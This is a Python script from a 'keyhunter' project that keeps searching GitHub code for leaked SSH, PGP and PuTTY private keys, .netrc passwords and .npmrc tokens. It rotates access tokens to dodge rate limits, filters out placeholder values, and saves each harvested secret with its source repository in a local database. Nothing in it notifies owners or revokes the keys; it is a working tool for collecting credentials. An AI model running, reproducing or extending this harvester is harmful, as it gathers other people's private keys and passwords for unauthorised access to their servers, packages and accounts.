Files
keyhunter-parser/ssh_eternal.py

250 lines
8.4 KiB
Python

"""ETERNAL SSH/creds hunt: GitHub code search for private keys (OpenSSH/RSA/
EC/DSA/PKCS8/PGP/PuTTY) + .netrc + .npmrc. Keys stored b64-encoded single-line
(status WORKING — structural validity, no API to check). Logs ssh_eternal.log."""
import os
KF_BASE = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
import base64
import hashlib
import random
import re
import sqlite3
import subprocess
import time
import requests
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data", "keys.db")
LOG = "data/ssh_eternal.log"
TOKENS_FILE = "gh_tokens.txt"
UA = {"User-Agent": "keyhunter-ssh"}
# (prov, code-search query)
DORKS = [
("SSH_KEY", '"BEGIN OPENSSH PRIVATE KEY"'),
("SSH_KEY", '"BEGIN RSA PRIVATE KEY"'),
("SSH_KEY", '"BEGIN EC PRIVATE KEY"'),
("SSH_KEY", '"BEGIN DSA PRIVATE KEY"'),
("SSH_KEY", '"BEGIN PRIVATE KEY" -BEGIN"RSA"'),
("PGP_KEY", '"BEGIN PGP PRIVATE KEY BLOCK"'),
("PUTTY_KEY", '"PuTTY-User-Key-File-2"'),
("NETRC", "filename:.netrc password"),
("NPMRC_TOKEN", "filename:.npmrc _authToken"),
]
PEM_RX = re.compile(
r"-----BEGIN [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----[\s\S]+?"
r"-----END [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----")
PPK_RX = re.compile(
r"PuTTY-User-Key-File-\d[\s\S]{100,30000}?Private-MAC: [0-9A-Fa-f]{16,}")
NPMRC_RX = re.compile(r"_authToken=([0-9A-Za-z_-]{20,})")
NETRC_RX = re.compile(
r"machine\s+(\S+)\s+login\s+(\S+)\s+password\s+(\S+)")
GARBAGE = ("xxxx", "EXAMPLE", "example", "FAKE", "fake", "placehol",
"changeme", "yourkey", "deadbeef", "00000", "test", "TEST")
def log(msg):
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
print(line, flush=True)
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
f.write(line)
def load_tokens():
toks = []
try:
r = subprocess.run(["gh", "auth", "token"], capture_output=True,
text=True, timeout=5)
if r.stdout.strip():
toks.append(r.stdout.strip())
except Exception:
pass
try:
with open(TOKENS_FILE, "r", encoding="utf-8") as f:
for line in f:
t = line.strip()
if t and not t.startswith("#") and t not in toks:
toks.append(t)
except Exception:
pass
return toks
TOKENS = load_tokens()
_idx = 0
def tok():
global _idx
if not TOKENS:
return None
_idx = (_idx + 1) % len(TOKENS)
return TOKENS[_idx]
def db_exec(cur, sql, args):
for _ in range(6):
try:
return cur.execute(sql, args)
except sqlite3.OperationalError:
time.sleep(5)
return cur.execute(sql, args)
def db_add(cur, seen, val, prov, repo):
if isinstance(val, tuple):
val = val[0]
if val in seen or len(val) < 30:
return 0
seen.add(val)
db_exec(
cur, "INSERT INTO keys (hash, val, prov, status, found, repo) "
"VALUES (?,?,?,?,?,?) "
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
"WHERE keys.status IN ('DEAD','ERR')",
(hashlib.sha1(val.encode()).hexdigest()[:16], val, prov, "WORKING",
"ssh", repo))
return 1
def extract(text, prov_hint, out, repo):
n = 0
for m in PEM_RX.finditer(text):
block = m.group(0)
# count base64 payload length between header/footer lines
lines = block.strip().splitlines()
payload = "".join(lines[1:-1]) if len(lines) > 2 else ""
if len(payload) < 80 or any(g in block for g in GARBAGE):
continue
prov = "PGP_KEY" if "PGP" in block else "SSH_KEY"
enc = "b64:" + base64.b64encode(block.encode()).decode()
out.append((enc, prov)); n += 1
for m in PPK_RX.finditer(text):
block = m.group(0)
if any(g in block for g in GARBAGE):
continue
enc = "b64:" + base64.b64encode(block.encode()).decode()
out.append((enc, "PUTTY_KEY")); n += 1
if prov_hint == "NETRC":
for m in NETRC_RX.finditer(text):
val = f"{m.group(1)}:{m.group(2)}:{m.group(3)}"
if any(g in val for g in GARBAGE):
continue
out.append((val, "NETRC")); n += 1
if prov_hint == "NPMRC_TOKEN":
for m in NPMRC_RX.finditer(text):
if any(g in m.group(1) for g in GARBAGE):
continue
out.append((m.group(1), "NPMRC_TOKEN")); n += 1
return n
def search_code(query, page, session):
for attempt in range(3):
h = dict(UA)
t = tok()
if t:
h["Authorization"] = f"Bearer {t}"
try:
r = session.get(
"https://api.github.com/search/code",
params={"q": query, "per_page": 50, "page": page},
headers=h, timeout=30)
except requests.RequestException as e:
log(f"search net-err {type(e).__name__} q={query[:40]}")
time.sleep(30)
continue
if r.status_code in (403, 429):
return "rate", []
if r.status_code == 401 and attempt < 2:
continue # dead token block — rotate and retry
if r.status_code != 200:
return f"err{r.status_code}", []
return "ok", r.json().get("items", [])
return "err401", []
def fetch_raw(item, session):
h = dict(UA)
t = tok()
if t:
h["Authorization"] = f"Bearer {t}"
url = item.get("git_url") # blob API
if not url:
return None
try:
r = session.get(url, headers=h, timeout=30)
except requests.RequestException:
return None
if r.status_code != 200:
return None
try:
data = __import__("json").loads(r.text)
return base64.b64decode(data.get("content", "")).decode(
"utf-8", errors="replace")
except Exception:
return None
def main():
log("ssh_eternal started")
session = requests.Session()
if not TOKENS:
log("WARNING: no tokens — GitHub search will fail; relying on anon")
seen = set()
cycle = 0
while True:
cycle += 1
for prov_hint, query in DORKS:
try:
found = 0
for page in (1, 2):
status, items = search_code(query, page, session)
if status != "ok":
if status == "rate":
log("rate limited — sleep 60s")
time.sleep(60)
else:
log(f"search {status} q={query[:40]}")
break
out = []
for item in items:
repo = item.get("repository", {}).get(
"full_name", "unknown")
text = fetch_raw(item, session)
if not text or len(text) > 500_000:
continue
found += extract(text, prov_hint, out, repo)
if out:
# ponytail: retry loop vs concurrent writers (hunt5,
# rescue, eternal_v10) holding the WAL lock
for db_try in range(5):
try:
c = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
try:
for val, prov in out:
db_add(c, seen, val, prov, repo)
c.commit()
finally:
c.close()
break
except sqlite3.OperationalError as e:
log(f"db lock retry {db_try + 1}/5: {e}")
time.sleep(60)
else:
log(f"db insert FAILED, dropping {len(out)} keys")
time.sleep(3 + random.random() * 2)
log(f"cycle {cycle} [{prov_hint}] +{found} (seen={len(seen)})")
except Exception as e:
log(f"dork {prov_hint} error: {type(e).__name__}: {e}")
time.sleep(5 + random.random() * 5)
# long pause between full dork sweeps (search rate limits are shared
# with eternal_v10 on the node)
time.sleep(120 + random.random() * 120)
if __name__ == "__main__":
main()